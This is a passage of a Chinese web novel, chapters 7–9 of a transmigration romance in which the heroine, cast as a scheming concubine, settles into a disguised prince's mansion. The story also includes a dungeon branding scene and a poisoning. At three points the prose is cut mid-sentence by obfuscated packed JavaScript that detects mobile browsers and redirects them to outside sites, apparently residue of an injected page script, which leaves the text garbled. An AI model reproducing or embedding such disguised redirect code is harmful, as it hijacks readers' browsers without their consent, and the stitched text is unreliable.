奚元绑定的系统忽然出声。
【您有紧急任务,已为您自动接取】
【男女主的霸道、不可拒绝的强制爱即将在这个路口展开序幕,作为恶毒女配,请您尽情展现自己的嚣张跋扈,让男女主见面,并且让男主把你丢出去,让女主周颜坐上车】
【任务奖励:城主府地图】
事发突然,奚元也来不及考虑用走回卓府换城主府的地图,这笔买卖划不划算。
她出声,“慢着。”
她从赵臣殊的腿上倒腾下去,拉开马车的窗户,还特意侧过身,好让赵臣殊也欣赏女主的花容月貌。
她刁蛮又任性,对着窗外大喊大叫,“谁人敢拦我们的车,是不是活腻了!”
她指着人群中主角光环最闪耀的那个女孩,对她说:“是你吧,拦住了我们家的马车,抬起头,给我看看。”
奚元又挪了挪屁股,把窗户漏出一大半留给赵臣殊,非常贴心。
面前的女主周颜,长得弱柳扶风,光是看身形,就是个不可多得的美女。
周颜抬头,与奚元对视。
只一眼,奚元就确定了,这人绝对也是穿越者。
原本的女主周颜绝对不会有这么坚毅又平静的眼神。
老乡见老乡,两眼泪汪汪。
既然都是苦命的穿书人,那这事就好办了。
合作共赢,一起赶紧把剧情走完,就可以回到现实世界了。
姐妹,这马车我让给你了。
奚元迫不及待地想让赵臣殊把自己赶下车,她夹着嗓子,刻意给自己凹出一点双下巴,向赵臣殊展示自己的超丑侧脸。
与窗外的绝世美人周颜形成强烈对比。
“卓少,你看她——”
她把窗户开到最大,赵臣殊只要往窗外随便瞥一眼,就可以看见绝美女主。
像她这么贴心的恶毒女二也是很罕见的。
赵臣殊却一眼没看窗外,用一种“你又在搞什么”的表情盯着奚元。
媒婆不好当。
奚元想直接拎着赵臣殊的脖子,把他塞到窗边。
在暴力行为实施之前,她又往窗外看了眼,原本站在路口的周颜不知何时已经消失不见。
【突发任务已结束,任务失败】
奚元愣住了。
这剧情,是怎么回事。
马车重新起步,向卓府奔去。
7. 第 7 章
接下来的旅途中,奚元都在思考男女主之间的事情。
男女主到现在都没有重逢。
这可怎么办。
原本的剧情顺序是赵臣殊先遇到周颜,再遇到奚元。
现在男主与周颜还没有相互认识。
这剧情与原著偏差也太大了,好像随时处在崩坏边缘。
而且这个周颜,她好像不太配合。
难道她是抽取到了一些比较炸裂的任务,比如别让男主看见你,请让男主对你的好感度保持在0%……
否则,很难解释她刚刚的行为。
若是奚元的任务与周颜的相对,那原本的老乡情就无了。
两个人,只有一个能活到最后。
奚元叹了口气。
也不知道男女主感情线的消失,会对自己的任务有什么影响。
不过,暂时有一件好事。
那就是周颜不在的话,奚元抢大房间的任务就少了一个竞争对手。
等后面找到机会,一定要与周颜单独聊聊。
若是可以合作共赢,那就再好不过了。
马车驶过一处窄巷。
马车的窗户依旧打开,透过窗户,门外宅院的牌匾一闪而过。
刻着素园字样的牌匾出现在窗中。
接着,是程府。
赵臣殊原本一直倚靠在椅背上,在素园二字映入眼帘的时候,他才坐直身子。
昨日,他已得到消息。
这告病不上朝的幽王竟不在京城,而是在西城躲清净。
就住在这素园里头。
他问奚元,“可认得这处地方?”
奚元眼睛一转,眨眼间便明白了赵臣殊此番来找她的目的。
原来是觉得自己是幽王的人,所以要把自己带走。
奚元一皱眉,开始诉苦。
“昨日,我被城主夫人喊去跳舞,哪知跳舞跳到一半,席间忽然有个登徒子站起来,拉起我的手就把我往外拽。”
“元元力气小,斗不过他,就这么被他带到了此处。不过,幸好元元机智,逃了出来,不然……”
奚元适时掏出手绢,抹去不存在去的眼泪。
她眼中仿佛有点点星光,充满希望地问,“卓郎问我认不认识这里,是不是已经知道这事了,您可一定要为我做主啊!”
赵臣殊的嘴角有些控住不住了。
万罗潇?登徒子?
赵臣殊眯了眯眼,控制住两颊的肌肉,说:“嗯,你受委屈了。”
奚元可怜兮地埋在他胸口,抽泣。
马车外。
今日阳光正好,万罗潇正好在素园的花园里散步。
凛风:“殿下,朝中大臣还在不停给皇上上奏,想让您回去。朝中无人打理,老丞相已经累病了。”
万罗潇摘下一片树叶,夹在两指之间。
“不急,再玩上三两月再说。”
凛风从包里掏出个东西,递给万罗潇看,是本小册子。
万罗潇挑眉,问:“这是什么?”
凛风乐呵呵地答:“这是冽风出去盯梢的时候,偶然间在路边商贩手里看到的小传,有先皇的,丞相的,还有您的。冽风把您的买回来了,让我递给您。”
万罗潇接过,翻开。
里面写的是歌颂自己的事迹。
“长公主之子,幽王殿下,勤于政业,心有卫民,博学多才,乃群民之所向,众人皆景仰。”
册子翻开后的第一页,便是编书人对万罗潇的赞颂。
凛风说:“百姓都说,皇上年幼,多亏了您把持朝政,才能保卫国千秋万代。”
万罗潇皱眉,“我风评这么好?”
凛风夸赞:“那是自然,我们来西城这么多时日,我们去的每个茶楼,那些百姓们提到您,那都是赞不绝口,您可是他们心中的大英雄。”
万罗潇不置可否。
卫国今年大旱,国库粮食告紧。
那陈太后,明明将自己视为眼中钉,却四处找人传播他万罗潇的事迹。
是何居心。
他走到素园墙角,那儿,一树海棠静静开放。
门外一辆马车疾驰而过。
将那海棠伸出墙外的枝丫划过,落下一地花瓣。
只听那马车上,传来一个少女的声音。
音色有几分耳熟。
“……哪知跳舞跳到一半,席间忽然有个登徒子站起来,拉起我的手就把我往外拽……幸好元元机智,逃了出来……卓郎……您可一定要为我做主啊!”
……
这不是昨日那个胆大包天的民女吗?
登徒子?
他?
万罗潇的面色冷若冰霜,昨日明明是她抱紧了自己的脖子,不肯松手,还出言挑逗。
现在,竟然还诬陷自己是登徒子。
可笑至极。
他看向凛风,问:“你不是说,我在民间的风评很好吗?那刚刚那是怎么回事?”
凛风:“……那可能是个意外。”
他万罗潇不近女色,清心寡欲。
那些权贵不知使过多少计谋,都没有得逞。
现如今,一个小丫头竟然敢叫幽王登徒子,还让那敌国的皇子给她做主。
她与那赵臣殊一定有不可告人的秘密。
万罗潇看着园内春色,风景大好。
他抬步,回书房。
骤然间,素园的大门被敲响。
门外传来一个纤弱的声音。
“民女周颜求见殿下。”
万罗潇停下脚步,朝门口沉沉望了一眼。
-
卓府已到。
奚元跳下马车。
卓府看起来比她想象中的冷清,没什么烟火气,就连门口都没有人看守。
大门打开,露出里面荒芜的宅院和冷清的青石板。
屋内的树下,坐着一个穿着黑衣的男子。
看穿着打扮,不是卫国人,应该是赵臣殊的部下。
那人听到院门打开的声音,没有转头看,而是很熟络地朝着旁边的屋子打了个响指。
“你可算回来了,看我给你准备了什么。”
旁边的屋子打开,两个穿着红色细纱的美人笑盈盈地从屋内走出来,腰肢纤细,肤若凝脂。
“公子~~”
外头的太阳有些大,她们扭着屁股就往院门口扑,差点就和奚元撞个满怀。
奚元:“……”
原剧情里,赵臣殊在卓府内养的,只有她和周颜两个,没有这对双胞胎美人。
乱了套了。
而且,跟她抢大房子的对手,又多了两个。
赵臣殊正跨步往院内走,无视院内的闹剧。
奚元扑了过去,“卓郎,你不是说,我是你的唯一的吗?”
她暗暗打了个哈欠,在眼眶中积蓄几滴泪花。
“唯一?”屋内原本坐着的林洛洲闻言坐不住了,站了起来,看热闹似的也凑到门口。
林洛洲指着赵臣殊,“他说你是他的唯一?他后院的佳丽数量这儿所有人手指加起来都数不过来,还唯一,小殊殊,你欺骗良家妇女。”
那对双胞胎姐妹也往赵臣殊的面前凑,争先恐后地自我介绍。
“公子,我叫欢愉。”
“我叫欢悦。”
赵臣殊皱眉问林洛洲:“你哪儿带来的人?”
林洛洲没回,反问:“你就说漂不漂亮。”
卓府内没几个人,刚才护送赵臣殊和奚元回来的那些车夫打手都是赵国安插在卫国的暗线,为了掩人耳目,不会光明正大地整日待在卓府内。
卓府现在总共就六个人。
六个人,但有十八间房,任务难度大大降低。
奚元对第一个任务的完成,更有信心了。
快到吃晚饭的时候了,起越叹了口气进了厨房。
奚元感到稀奇,赵臣殊的人机小跟班竟然还会叹气。
奚元和欢家姐妹都是第一天到,还没有安排房间。
几个人等着起越做饭的时候,就在饭桌上争论了起来。
欢愉说:“我和我妹妹两个人,应该住大一点儿的房子。”
欢悦:“我从小就体弱,大夫说我得住朝阳的房子。”
奚元指着主屋旁边的那间屋子说:“我瞧那间房间不错,我要那间。”
欢愉:“我们也要那间。”
欢悦:“我也看上那间了!”
林洛洲一拍桌子,“那是我的屋子!”
嚷嚷了好久,起越还没做完饭。
他们等啊等,快天黑的时候,起越终于端着做好的菜出了厨房。
他又叹了口气,点燃了饭桌旁边的蜡油。
是一盆土豆炖猪炖粉条,食材挺丰富,就是闻着……
不太美味。
欢愉、欢悦两姐妹用筷子戳了两下猪肉,硬邦邦,跟石头似的。
接着,她们就放下了筷子。
奚元尝了块土豆。
很好,没放盐。
起越心虚地站在一旁,不说话。
赵臣殊和林洛洲倒是吃了挺多,让奚元觉得,是不是赵国人的口味和卫国人的不太一样。
养尊处优的赵国皇子,竟然可以吃下这么难吃的东西。
她好饿,想回奚家。
她抬头望天,这日子不是一般人能过的。
欢愉和欢悦相视无言,苦笑。
林洛洲问:“你们怎么不吃啊?减肥吗?”
欢愉:"……吃饱了。"
奚元瞧着林洛洲和赵臣殊两个人,感觉像在看两个异食癖。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439088|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃完饭,赵臣殊指了指门旁边的厢房,对奚元说:“你,住那儿。”
奚元一看,那屋子又黑又小,像从前卓家女佣的住处。
“卓郎……”
“我和你不熟,别叫这么亲密,”赵臣殊皱眉。
“少爷……萍水相逢你也不能让我住柴房啊,”奚元表面痛苦流泪,内心咒骂。
“不住柴房,你还想住哪里,你不会以为,我会娶你吧?”赵臣殊反问。
奚元:“……”
坏了,好像今天下午并没有成功勾引到他。
怎么回事,女主没了,这男主对女二也失去了兴趣吗?
那他为什么要带自己走,因为怀疑自己与幽王有关系,所以决定把自己带走亲自盯着吗?
赵臣殊指了指奚元,“你,每日做早饭。”
他又指了指欢愉和欢悦二人,“你们,午饭。”
“起越,明天开始你只做晚饭。”
“还有,院子内的打扫擦洗也要你们来,”赵臣殊布置完任务,甩甩袖子就回了自己的大房间。
院子里多了几个丫鬟,生活都可以变得精致起来。
奚元那拙劣的表演,他一眼看穿。
这个奚元,绝对有鬼,要留她在身边,慢慢查明。
至于为什么不娶她。
他又不缺女人,何必跟一个来路不明的女人纠缠不清。
当丫鬟都是便宜她了。
奚元对自己突然从卓少新宠到扫地做饭丫鬟的身份转变接受良好。
丫鬟就丫鬟,不用跟他睡觉,那可真是个天大的好消息。
只可惜,系统布置的任务不知道该如何进行了。
起越在饭后收拾碗筷,奚元也跟着进了厨房。
起越堵门:“你来干什么?”
奚元:“厨房里还有没有食材,你做的饭太难吃。”
起越呆滞的表情有一丝破裂,奚元的话过分直白,戳破了他对自己厨艺最后一分侥幸之心。
“有那么难吃吗?”起越嘟囔着问。
他看赵臣殊和林洛洲吃得都挺香的。
赵国的吃食和卫国的有很大不同,赵国的大部分土地都不适合种植农作物,大部分百姓都以吃干馕为主,很少有新鲜蔬菜吃。
赵国皇室崇尚节俭,即使是贵为皇子或为朝中重臣,也不能整日吃山珍海味。
所以,赵臣殊和林洛洲对食物的接纳能力很高。
什么都能下嘴。
奚元挤进了厨房,厨房的米缸里还剩半桶大米,余粮充足,厨房悬梁上,还吊着一块风干猪肉,散发着诱人的香味。
想来,赵臣殊是不差钱的。
只是为了少与卫国人打交道,减少露出马脚的风险,才没有招募新的仆从。
丫鬟也得吃饱饭才能干活。
奚元舀了一勺米,给自己炖稀饭喝。
她又在角落找到半个南瓜,切了一块,放在锅里一起煮。
屋外,欢愉欢悦两姐妹沉浸在从妾室变丫鬟的背上氛围中。
她们无父无母,原本在附近烟花巷里卖唱,听说有个好谋生,包吃包住,月薪可观,她们就来了。
奚元瞧见了她们,想起来,这两姐妹晚饭也没吃几口。
“你们要不要吃点?”
欢愉欢悦两姐妹对视一眼,还是选择对奚元保持敌意。
她们手拉手从厨房门口走开,并不理睬奚元。
在她们眼中,她们是竞争关系。
奚元很明显对赵臣殊有意思,而她们两姐妹也希望得到府中郎君的认可,嫁给他。
卓府是富商,若是能够嫁进来,她们一定可以吃穿不愁。
他们受够了从前的苦日子。
欢愉肚子饿得咕咕叫,她安慰欢悦说:“我们少吃些,便可以身材更纤细,老爷便更有可能爱上我们。欢悦,我们再坚持一下,好日子在向我们招手。”
欢悦肚子叫了一声,表示回应。
-
夜深。
素园。
冽风穿着黑色的夜行衣,在地下室绘声绘色地给万罗潇讲述卓府趣事。
他每日的任务就是监视赵臣殊,记录下他的一言一行。
只是……
今天汇报的主题好像有些跑偏了。
冽风夸张地用手比出一个比脸盆还大的圆。
“那个奚元,她一个人,喝了这么大一盆粥!”
“我原以为她要给赵臣殊送些,结果她一个人,全部,喝光了!”冽风难以置信。
万罗潇若有所思,“你是说,她没成赵臣殊的妾室,而是成了丫鬟。”
冽风:“这都是我五分钟前讲的故事了,殿下您怎么还在想这点,是有什么疑点吗?”
万罗潇咳嗽两声,“无事,你继续。”
8. 第 8 章
“那奚元看起来很喜欢赵臣殊一直围着赵臣殊转。”
“不过,可以确定的是,奚元和赵臣殊的计谋无关。十几年前,赵臣殊以卓殊的身份潜入卫国意外救过她们母女俩,所以奚元一直把赵臣殊当成梦中情人。”
“昨日,奚元忽然跌落在殿下的怀中,想来是她得到了消息,卓殊会出席那场宴会,所以将殿下错认了。”
奚元,无通敌叛国之嫌疑。
她只是单纯迷恋赵臣殊。
万罗潇点点头。
昨日,奚元腕间的熏香忽又涌上心头。
女子纤柔的腕骨拂过他的脖颈,又刻意地抚上他的唇瓣。
二十年来,万罗潇从未与异性亲密接触。
其他女人都和她一样的香吗?
昨日她上了他的床,这是错认,是意外。
那今日,她会成为赵臣殊的人吗?
万罗潇越想越觉得烦躁。
他深吸了一口气,地牢内是浓重的血腥气。
此处,是素园的地下地牢。
生锈的铁栅栏内,一个女子被五花大绑,捆在十字架上。
是周颜。
她不明白,她只是来找万罗潇当同盟,为什么一只脚刚踏进门,就被旁边的守卫按住了手脚,压在地上,动弹不得。
再一睁眼,就到了这暗无天日的大牢。
地上是发臭的泥水,阴阴还有血腥气传来叫人干呕。
周颜后悔了。
系统在她穿越后,第一时间就给她介绍了这本书的主要内容。
男主赵臣殊是个妻妾成群的死变态。
她不愿意与这样的人结实。
而本书的男二,也就是万罗潇,是个清心寡欲、只搞事业的大忙人。
今年二十,未娶妻,未纳妾。
而且,在卫国权势滔天,只手遮天。
只有这样的人,才能配得上她。
虽说故事的最后,卫国战败,万罗潇也从人人敬仰的摄政王变成了战俘,卫国皇室全军覆没。
但这与周颜无关,卫国战败之时,她就可以回到现实世界,与家人团聚了。
她对自己的女主光环很有信心。
既然男主可以被她迷得五迷三道的,男配自然也可以。
带着这份自信,她拷打系统,得到了幽王现居地的地址,独自一人敲响了素园的大门。
凛风站在她的面前,用铁夹子夹起一块烧红的铁块,呵斥:“说,谁派你来的。”
殿下对外一直称在京城幽王府养病,只有部分皇室嫡系和朝廷命官知道幽王不在京城。
这个女人,是哪里得来的消息,知道了幽王的居住地。
周颜:“大人,我……”
幽王的居住地竟然是个秘密。
是她大意了,计划进行得过于匆忙,应该找个机会制造与幽王的偶遇的。
三秒后。
烧红的烙铁给她的胳膊上刻上了黑乎乎的印记。
地牢深处,传来女人撕心裂肺的喊叫。
“啊——”
冽风推开地牢门,万罗潇走进,闻到了烤肉的味道。
凛风淡淡地说:“现在招出你主子,我可以留你一条命。”
他将烙铁放在一旁的烈火中再度淬炼,火红的铁花迸发出艳丽的火星。
“不然……下一次,就要往你脸蛋上做标记了,”凛风边在火堆上烤烙铁边说。
周颜的手臂火辣辣得疼。
她才不愿意断送在这里。
她在脑海中呼叫系统。
系统,我不是穿越女吗,我不是女主吗,我要特权,我要离开这里!
这什么鬼男二啊,一言不合就用刑,她不要了!
【宿主您好,检测到您的健康值降低为85%,鉴定为烫伤皮毛】
【作为女主,您具有一次开启大运的机会,开启后的一分钟,周围一切都会同你的预期一样发展,但不可违背万物发展常理,您可以顺利离开这里。】
【机会只有一次,请您珍惜。】
我要使用!
系统!
开启大运!
周颜疼得龇牙咧嘴。
【已开启大运,倒计时一分钟】
周颜眼中的恐慌消失不见,取而代之的是狠厉的神情。
铁索,断。
跟人的手臂差不多粗细的铁链,忽然像泡沫似的断裂,周颜成功从十字架上挣脱。
凛风在周颜脱身的那一刹那,已经拔出腰间的长剑,向周颜挥去。
越狱者,杀无赦。
站在远处的冽风也瞬间反应过来,拔刀劈去。
周颜心念:面前的人,死。
地牢高处的窗户忽然吹进来一股邪风。
那风精准地卷起了一旁的火焰,一团猛火朝凛风扑去。
凛风感觉到背后热流,飞身转剑,抵挡火球。
地上堆叠着的沉重的铁链忽然似猛蛇般游走,直冲万罗潇和冽风站着的地方而来。
万罗潇飞身而起,堪堪躲过。
趁着这间隙,周颜已经跑到了地牢铁门的门口。
她用恶狠狠的表情,隔着栅栏,看了里面自顾不暇的三人一眼。
她心道:铁门,封死。
一瞬间,铁门与门框牢牢焊死。
周颜转身就走。
一分钟的时间结束。
地牢内胡乱撕咬的铁链猛蛇忽然间没了生机,直直落在地下,发出哐当的巨响。
那阵邪风也停了,凛风胳膊上被烫了好几个大泡,被他用自己的剑挑破。
冽风抱着自己的剑,腿没忍住抖了两下。
“刚刚这是……我是不是在做梦?”
他不可置信地狂拍自己的脸。
难不成,那个女人,是妖怪?
万罗潇看着忽然间恢复正常的一切,也觉得想不通。
刚刚那个女人,使的是什么妖术。
门口的铁门锁与门框竟牢牢融为一体。
凛风和冽风拿起自己的剑,接力劈了好久也没有劈开。
冽风哭唧唧,“完了,我们不会被困在这儿了吧!”
凛风环顾四周,看到了那扇打开的天窗。
“要不我们从窗户爬出去吧?”
那窗户很小,堪堪能容下一个成年人的身量。
“殿下,我们实在劈不开这门,不如我先从窗户爬出去,我去找人开锁。”
这地牢隔音效果太好,他们无论怎么大喊大叫,院子里的其他人都听不见。
万罗潇未说话,捡起了地上一截断裂的铁索。
“让开。”
凛风和冽风听话往旁边侧了侧。
万罗潇将那一截铁索朝铁门扔去。
刹那间,门口扬起一片尘土。
那沉重的铁门竟然整个儿倒地,在地上砸出深深的坑印。
待到灰尘扬尽,万罗潇才抬腿走出去。
“明日让人修门。”
凛风、冽风:“……是。”
-
奚元吃饱喝足,从厨房出来。
其余人都已经歇下了,院子里只点了一盏灯,只有她一个人。
暗访敌国的条件确实艰苦。
堂堂赵国
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439089|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皇子也只能过得如此简陋。
赵臣殊和林洛洲各自住着最大的两间屋子。
起越住在赵臣殊的外间,随时听令。
至于欢家两姐妹。
奚元扫视一圈,发现那一排丫鬟屋里有一盏灯是亮的。
她们听从赵臣殊的安排,住进了丫鬟屋。
奚元蹑手蹑脚地在院子里探查,发现其他十六间的房间都落了锁,她打不开。
连窗户都推不开。
只有丫鬟房,没有锁,她可以自由出入。
她懊恼地坐在庭院的石凳上。
真小气。
她在脑海中召唤系统。
系统系统,抢房子的奖励是什么,你还没有说。
【由于本次游戏为多人穿越副本,故宿主第一次的任务的奖励为,与任意其他宿主进入异空间进行交谈。】
【宿主得到的房间越大,能进行交谈的时间就越多】
这确实是个诱人的奖励。
奚元又跟系统确认了下更具体的规则。
系统说,若是四日后的午夜十二点,奚元依旧只有丫鬟屋的话,那就只能与其余宿主进行五秒钟的对话。
五秒钟,跟周颜打个招呼都不够。
若是奚元能够抢到赵臣殊的房子,那就可以与周颜有三分钟的交谈机会。
但希望不大。
赵臣殊怎么可能让她进自己的房间。
系统还说,对于抢房子的结果,只认第四日晚十二点宿主待的地方。
也就是说,哪怕赵臣殊不同意,她在半夜十二点成功偷溜进屋子,也算成功。
而且,抢房子的范围和区域并不限定。
若是奚元能够找到其他地方更大的房子,也能算是挑战成功。
奚元坐在树荫下托着下巴叹气。
闲暇时,她才重新注意到自己衣袖中藏着的玉佩。
这是系统送来的。
她从袋中掏出玉佩,放在月光下端详。
这是一枚完整的玉佩,像是贴身的物件。
月光透过玉佩,映出荧荧幽光。
夜已深。
奚元将玉佩重新收回袖中,从库房抱出一床棉被,随便推开一间小屋,合上了门。
屋子很小,跟现代社会的大学宿舍差不多。
屋内,仅有一张床,一对桌椅。
奚元铺了被子,躺在床上。
在窗外布谷鸟的啼叫中,睡了过去。
-
城主府。
江启优和江启秀正与好友在湖边吟诗作画,一派祥和。
江钟也在其中,一脸不屑地听两个哥哥作诗。
另一边。
一缕迷魂香悄无声息地伸入城主夫妇的卧室。
原本该在卓府的起越,戴着黑色的面罩,隐藏在夜色中。
过了不知多久。
他推门进入,屋内的城主夫妇已经昏迷不醒。
他倒出随身带着的瓶子中的毒药,塞入他们口中。
噬丸丹。
服用后的每个月,都要吃特定的解药,否则将浑身抽筋,口吐白沫,无药可救。
他在书桌上留下一张纸,便出了门,翻墙而出。
-
佛墙之下。
日日为卫国念经积德的老和尚忽然停止了念诵。
手上的佛珠毫无征兆地断裂。
褐色的佛珠掉了一地,滚得到处都是。
老和尚睁开苍老的眼睛,望着高大的佛像,依旧如几十年前一样闪闪发光。
佛珠断,乃不祥之兆。
卫国,危。
9. 第 9 章
次日。
奚元是被院外的车马声吵醒的。
她昏昏沉沉地起了床,裹上衣服,往厨房走去。
她没把赵臣殊给她布置的做早饭的任务忘了。
走到院落,一个人影矗立在树下,吓了奚元一跳。
奚元:“公子,你怎么起这么早啊?”
赵臣殊转头看她,“你每天都睡到这个时辰?”
难怪昨日见她家里这么穷。
奚元也没有闹钟,也不知道现在是几点了。
“公子……都怪那床太不舒服,人家昨晚一夜没睡好。”
奚元借机提议:“卓郎,你看,你这么多屋子空着也是空着,就随便让我住一间呗。”
赵臣殊睨她一眼,“莫要白日做梦。”
奚元一甩袖子,不再求这个嘴硬心更硬的坏蛋。
四日后,哪怕撬锁她也会挤进大房子的。
她去往厨房。
起越刚从外面回来,带来一大堆新鲜食物。
赵国安插在卫国的眼线,大部分以商贩的身份生活。
所以,卓府不缺蔬菜瓜果。
奚元凑到那竹篮里一看,里头是好几斤大米,晶莹剔透,还有几颗白菜,几根山药,一只刚杀的鸡,几块猪肉。
早上就喝山药粥吧。
奚元拿起一根山药,去皮,剁块,再将米淘洗两遍。
将它们都倒入锅中,加入水,一起炖煮。
起越就站在她身边盯着她。
看到她熟练的动作,没忍住张大了嘴巴,问:“你会做饭?”
奚元:“很难吗?”
做饭还用学?
奚元端着一大锅粥出来,一群人都围在桌边。
欢家两姐妹昨晚就没吃什么,已经饿得不行了,祈祷早上能有点能吃的东西。
起越凑到赵臣殊耳边,说:“殿下,没下毒。”
可以放心吃。
林洛洲也才刚起床,闻到香味问:“哇,这是什么,好香啊!”
奚元:“山药粥。”
她最后又切了点青菜下去,纯白的粥面上浮着几根绿叶菜,看着很可口。
林洛洲刚起床,脑子还不太清醒,问:“山药是什么,一种药材吗?”
奚元:“……你没吃过?”
这位赵国的间谍,你好像露馅了。
山药在卫国到处都是,不可能没人见过。
奚元怕这俩间谍提前暴露,剧情再次走向癫狂,只好给他们圆谎,“这细的铁棍山药确实罕见,我之前只见过那种粗的山药,估计是新出的品种。”
林洛洲顺着台阶往下走,“哈哈,这山药这么细,我差点儿就认不出来了。”
一锅粥被瓜分干净。
赵国看起来确实没什么好吃的,他们连粥都喝得津津有味。
吃完饭,起越去洗碗。
她们三个小丫鬟被指使着打扫卫生。
奚元唉声叹气地在院子里扫落叶,一边跟在下棋的赵臣殊诉苦。
“卓郎,我扫不了地,我腰疼。”
“卓郎,我那屋子离院外的道路太近,早上马车的声音吵得我睡不着觉。卓郎,你忍心看我这样吗?若是我夜夜睡不好,还怎么给你煮粥喝啊!”
赵臣殊熟视无睹。
奚元喊了几声喊累了,见没效果,就晃晃悠悠转到了赵臣殊的视线盲区,拿着把扫把在后院摸鱼。
欢家两姐妹倒是老实,勤勤恳恳搞卫生。
欢愉给欢悦打气,“加油,把屋子收拾干净,公子就会知道我们有多么有用,娶了我们,不亏的。”
起越很快出门了一趟,回来的时候手上拿着一份密报。
他将卷好的信纸递给赵臣殊。
赵臣殊打开一看,面色瞬间变得难看。
林洛洲问:“怎么了,可是出了大事?”
赵臣殊说:“放在王府的令符凭空消失,王府内,出了叛徒。”
赵臣殊在赵国有一帮暗影,调动他们的唯一方式就是亮出暗影符。
此番他潜入卫国,并未带上暗影符,看来是有人坐不住了。
他将桌上的茶盏捏碎,愤愤地锤了下石桌。
会是谁?
暗影令调动的都是他的亲信,是他花了很大的代价从小养出来的死侍,是他争权夺势的靠山。
必须赶快完成在卫国的事,早日回到赵国。
他招手呼叫起越。
“今晚,再给那城主夫妇多加点药,让他们早日病发。”
他等不及了。
后院,奚元从袖子里掏出系统送的赵臣殊的玉佩把玩。
这到底是用来干嘛的,赵臣殊与心爱之人的定情信物吗?
上面也没什么花纹图案,看不出任何端倪。
她重新将令牌收好,继续拿着扫把偷偷研究门锁,用一根簪子慢慢捣鼓。
不让我住,我偏要住。
-
素园门口。
一队车马在那儿停下。
为首的马车上钻出来一个穿金戴银的男子。
他一抖手腕,打开手边折扇,摇着扇子打开了素园的大门。
“阿潇!”
“阿潇!我来看你了!”
凛风正在门边巡视,看到来人,惊讶地说:“程王殿下,您怎么来了?”
万罗潇从屋内出来,一下子就被程王程子岁搂住。
“阿潇,你在这儿躲清净两月了,你不知道,现在朝中上下早就乱了套了。”
万罗潇将他搭在自己肩上的手撇开,“奸臣当道,自然乱套。”
程子岁说:“咱们先不说这个,我可是听说,前几日,你带了个姑娘,去了我程府。”
万罗潇冷漠地看他,“谁人告诉你的消息。”
程子岁:“哎呀,这你别管,你就说是不是真的,万年铁树终于开花了?”
万罗潇:“假的。”
不过是逢场作戏,不作数的。
程子岁一屁股坐在石凳上,“我也是听别人说的,说你从城主府带了个姑娘回去,我一听奇了怪了,你怎么会跟姑娘贴近呢。还有,为什么传言你把姑娘带去了我的程府,没带到素园。”
万罗潇:“无稽之谈。”
程子岁合起扇子,“我就说他们是胡说八道,你身边怎么可能会有女人啊。”
万罗潇:“你来西城做什么?”
程子岁:“就许你告病不上朝,不许我请假啊,我思故园心切,决定回老宅住上几个月。”
程子岁继续说:“嗷对了,我走得匆忙,好些东西没带,这下人们采买东西也需要时间,让我在你这儿先住上几日呗。”
也不等万罗潇同意,程子岁就招呼下人们,“来,把我的东西送到……就那间厢房吧,我要那间。”
万罗潇问:“你这次来,其他人知道吗?”
程子岁点点头。
他程子岁说:“听闻这西城的新城主江文谋是个清官,团结百姓,勤于政业,是人人夸奖的好官,本王要不要去拜访下他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439090|169345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
万罗潇:“随你。”
-
城主府。
江钟和姨娘柳氏住在一处偏院。
柳姨娘虽然生了个儿子,但江钟的才情学问远比不过他的哥哥们。
加上柳姨娘年老色衰,江文谋又娶了更年轻的姜姨娘,江钟和柳姨娘在家中并不受重视。
江钟正在和柳姨娘发脾气。
他依旧对前几日那个跳舞的女子念念不忘。
“娘,你就帮我跟爹说说吧,我是真的喜欢那个姑娘。”
柳姨娘正在做绣工,被儿子抱着手晃,有些无奈。
“你的两个哥哥都还没有娶亲,你再等两年。”
她好言相劝。
江钟已经各方打探出了消息,那个姑娘叫奚元,是个农家女。
他虽是庶子,却也是城主家的儿子,配一个农家女,也是她高攀了。
若是直接找到奚元,跟她说,他江钟想要娶她,他们二人一起去找爹爹说,没准爹爹会同意的。
江钟的眼睛咕噜一转,打定了主意。
一个丫鬟敲响了他们的房门。
“三少爷,老爷夫人让您过去,程王殿下来访。”
柳姨娘放下针线活,问:“程王?”
前几日刚来了个幽王,怎么今日又来了个程王。
丫鬟说:“是京城来的贵人,祖籍在西城,这次回来探亲,这第一天就来我们府上了,我看呀咱们老爷的仕途要步步高升了。”
听到好消息,柳姨娘让儿子赶紧换衣服,去前厅接待贵客去。
江文谋和陈夫人坐在前厅,似乎心事重重。
面对贵客的突然到来,他们手忙脚乱。
昨日,他们在桌边发现了那张小纸条,纸条上写着也他们已经被下了毒,若是想活命,就去秋水巷找卖糖人,他们会指路。
